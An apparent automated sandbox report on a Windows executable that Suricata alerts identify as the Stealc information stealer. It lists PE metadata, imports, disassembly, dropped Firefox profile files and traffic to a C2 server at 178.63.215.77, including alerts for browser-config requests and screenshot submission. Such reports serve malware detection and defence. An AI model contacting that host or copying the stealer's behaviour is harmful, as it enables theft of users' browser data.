SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\Eae0KTw4m1.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\Eae0KTw4m1.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.338682147211706
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Eae0KTw4m1.exe
File size:	314'368 bytes
MD5:	62f90cd0cb366fa5daa8aafcdcd16235
SHA1:	57fd35c5ba228b3b9127dc42ce3c9db3a8848ea9
SHA256:	c5307c86c06edb2d3aa14c90563cb59ef865ebbe1eae6a4e2d78db35dfdd79e0
SHA512:	2b9661e8a02846fe00cd1ede37e96ae56bad04b8943d714beaa3b6e7548121412a14260805863fa61a9bf13bd8378af8d5eca657464b2c3b82eb5c8e5e14f8d2
SSDEEP:	6144:Kiis2YtUokCulxMfpbTXe38CgYFYnE7w+Uw3NKR9hU/W9:rtUoH3pXYtgYFm4wx8KRF9
TLSH:	65646D32F65018BDE463417D95DE5F29DBA978320310CEDB53D00A851FE22F5AD39A2B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...V..g...........

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x4169f0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x67041D56 [Mon Oct 7 17:41:42 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	8e9e6de8c6aa184371108e1074479bb3

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
sub esp, 4Ch
call 00007FE284C0F42Ah
call 00007FE284C26A25h
push 00420AEFh
lea ecx, dword ptr [ebp-0Ch]
call 00007FE284C278F8h
call 00007FE284C0E383h
call 00007FE284C0E30Eh
call 00007FE284C0E2B9h
call 00007FE284C0E3C4h
call 00007FE284C2390Fh
call 00007FE284C0E32Ah
call 00007FE284C249E5h
push eax
lea eax, dword ptr [ebp-4Ch]
push eax
push 00421110h
lea ecx, dword ptr [ebp-40h]
push ecx
call 00007FE284C24A62h
push eax
lea edx, dword ptr [ebp-34h]
push edx
push 0042110Ch
lea eax, dword ptr [ebp-28h]
push eax
mov ecx, dword ptr [0064A540h]
push ecx
lea edx, dword ptr [ebp-1Ch]
push edx
lea ecx, dword ptr [ebp-0Ch]
call 00007FE284C27B11h
mov ecx, eax
call 00007FE284C27B0Ah
mov ecx, eax
call 00007FE284C27B03h
mov ecx, eax
call 00007FE284C27AFCh
mov ecx, eax
call 00007FE284C27AF5h
push eax
lea ecx, dword ptr [ebp-0Ch]
call 00007FE284C279DCh
lea ecx, dword ptr [ebp-4Ch]
call 00007FE284C27934h
lea ecx, dword ptr [ebp-40h]
call 00007FE284C2792Ch
lea ecx, dword ptr [ebp-34h]
call 00007FE284C27924h
lea ecx, dword ptr [ebp-28h]
call 00007FE284C2791Ch
lea ecx, dword ptr [ebp-1Ch]
call 00007FE284C27914h
mov eax, 00000001h
test eax, eax

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2aa30	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25c000	0x24e0	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1e000	0x104	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x1cc8f	0x1ce00	09d1907d2244d0c87737cd5c3e9cc255	False	0.4681835091991342	Matlab v4 mat-file (little endian) \352\316A, numeric, rows 4316256, columns 0	6.092008957228158	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x1e000	0xcf94	0xd000	8d7917953994aec2030a4a266d6c4093	False	0.5257474459134616	data	6.645285282830672	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x2b000	0x2303a4	0x1e400	47130f1bd451e62a6f3377958ec20b2f	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x25c000	0x459e	0x4600	d3a7af02f9744b84dfe0af0f1ec5e09f	False	0.44034598214285714	data	4.493825391817989	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL

Import

msvcrt.dll

strncpy, ??_V@YAXPAX@Z, memchr, ??_U@YAPAXI@Z, strtok, atexit, strtok_s, strcpy_s, vsprintf_s, memmove, strlen, malloc, free, memcmp, ??2@YAPAXI@Z, memset, memcpy, __CxxFrameHandler3

KERNEL32.dll

GetCurrentProcess, RaiseException, GetStringTypeW, MultiByteToWideChar, LCMapStringW, IsValidCodePage, GetOEMCP, lstrlenA, HeapAlloc, GetProcessHeap, VirtualProtect, WaitForSingleObject, CreateProcessA, lstrcatA, VirtualQueryEx, OpenProcess, ReadProcessMemory, WriteFile, GetACP, GetCPInfo, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, EncodePointer, DecodePointer, TerminateProcess, InitializeCriticalSectionAndSpinCount, LeaveCriticalSection, EnterCriticalSection, RtlUnwind, GetProcAddress, GetModuleHandleW, ExitProcess, Sleep, GetStdHandle, GetModuleFileNameW, GetLastError, LoadLibraryW, TlsGetValue, TlsSetValue, InterlockedIncrement, SetLastError, GetCurrentThreadId, InterlockedDecrement, WideCharToMultiByte

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-12T14:17:02.889162+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49730	178.63.215.77	80	TCP
2024-10-12T14:17:03.084513+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	49730	178.63.215.77	80	TCP
2024-10-12T14:17:03.090718+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	178.63.215.77	80	192.168.2.4	49730	TCP
2024-10-12T14:17:03.279510+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	49730	178.63.215.77	80	TCP
2024-10-12T14:17:03.289917+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	178.63.215.77	80	192.168.2.4	49730	TCP
2024-10-12T14:17:03.801167+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	49730	178.63.215.77	80	TCP
2024-10-12T14:17:04.336925+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	178.63.215.77	80	TCP
2024-10-12T14:17:07.538017+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	178.63.215.77	80	TCP
2024-10-12T14:17:08.440524+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	178.63.215.77	80	TCP
2024-10-12T14:17:09.190287+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	178.63.215.77	80	TCP
2024-10-12T14:17:09.695435+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	178.63.215.77	80	TCP
2024-10-12T14:17:11.435005+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	178.63.215.77	80	TCP
2024-10-12T14:17:11.930475+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	178.63.215.77	80	TCP
2024-10-12T14:17:13.800546+0200	2044249	ET MALWARE Win32/Stealc Submitting Screenshot to C2	1	192.168.2.4	49730	178.63.215.77	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 12, 2024 14:17:02.010334969 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:02.015741110 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:02.015846014 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:02.015976906 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:02.020876884 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:02.663230896 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:02.663376093 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:02.666722059 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:02.672224045 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:02.888983011 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:02.889162064 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:02.890317917 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:02.895266056 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:03.084217072 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:03.084254980 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:03.084512949 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:03.085746050 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:03.090718031 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:03.279434919 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:03.279493093 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:03.279510021 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:03.279531002 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:03.279557943 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:03.279567003 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:03.279573917 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:03.279602051 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:03.279611111 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:03.279654980 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:03.279655933 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:03.279691935 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:03.279700994 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:03.279736042 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:03.284805059 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:03.289916992 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:03.478061914 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:03.478168011 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:03.589624882 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:03.589696884 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:03.594778061 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:03.594818115 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:03.594849110 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:03.594875097 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:03.594927073 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:03.594954014 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:03.800952911 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:03.801167011 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.144223928 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.149537086 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.336834908 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.336889029 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.336924076 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.336925030 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.336956024 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.336990118 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.336997032 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.336997032 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.336997032 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.337025881 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.337028980 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.337059975 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.337069035 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.337091923 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.337100029 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.337127924 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.337132931 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.337167025 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.337193012 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.337214947 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.337912083 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.337944984 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.337970018 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.337981939 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.337986946 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.338069916 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.434447050 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.434514999 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.434541941 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.434565067 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.434587002 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.434608936 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.434638977 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.434636116 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.434681892 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.434700012 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.434700966 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.434722900 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.435214996 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.435246944 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.435270071 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.435296059 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.435317993 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.435420036 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.436080933 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.436104059 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.436125994 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.436148882 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.436173916 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.436300039 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.436928034 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.436969042 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.436990023 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.436995029 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.437014103 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.437019110 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.437032938 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.437087059 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.437161922 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.437227964 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.437804937 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.437820911 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.437851906 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.437880039 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.531837940 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.531862020 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.531869888 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.531877041 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.531886101 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.531900883 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.531932116 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.532027006 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.532042027 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.532094002 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.532094002 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.532115936 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.532181025 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.532182932 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.532244921 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.532253981 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.532311916 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.532605886 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.532618999 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.532670975 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.532679081 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.532722950 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.532758951 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.532773972 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.532788992 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.532814026 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.532834053 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.532851934 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.532876015 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.532892942 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.532912016 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.532931089 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.533304930 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.533319950 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.533333063 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.533377886 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.533377886 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.533390999 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.533405066 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.533412933 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.533423901 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.533513069 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.534248114 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.534261942 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.534276009 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.534290075 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.534306049 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.534307003 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.534320116 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.534334898 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.534338951 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.534364939 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.534392118 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.535047054 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.535060883 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.535074949 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.535094023 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.535099030 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.535115004 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.535124063 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.535130024 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.535145998 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.535149097 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.535167933 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.535186052 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.535224915 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.535931110 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.535944939 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.535968065 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.535981894 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.535985947 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.535996914 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.536009073 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.536011934 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.536026955 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.536029100 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.536055088 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.536076069 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.536819935 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.536834955 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.536849022 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.536864996 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.536895037 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.536895990 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.620817900 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.620982885 CEST	49730	80	192.168.2.4	178.63.215.77
